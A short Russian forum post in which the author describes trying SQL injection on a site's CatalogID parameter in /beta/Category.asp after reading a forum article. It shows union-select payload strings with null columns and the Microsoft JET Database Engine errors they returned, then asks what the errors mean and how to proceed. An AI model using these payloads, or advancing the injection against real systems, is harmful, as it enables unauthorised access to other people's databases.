Вот прочитав статью про SQL в данном форуме, решил попробовать и вот что вышло:
баг вот такой:
CatalogID='[sql]
при запросе

CatalogID='[-1+union+select+null,null,null,null,null,null,null, null,null,null,null/*]
выдает

Microsoft JET Database Engine error '80040e14'

Syntax error in string in query expression 'catalogID ='[-1 union select null,null,null,null,null,null,null,null,null,null, null/*]'.

/beta/Category.asp, line 246

а при
CatalogID=[-1+union+select+null,null,null,null,null,null,null, null,null,null,null/*]
Microsoft JET Database Engine error '80040e10'

No value given for one or more required parameters.

что это значит и что можно сделать, в статьях я этого не нашел, заранее благодпрен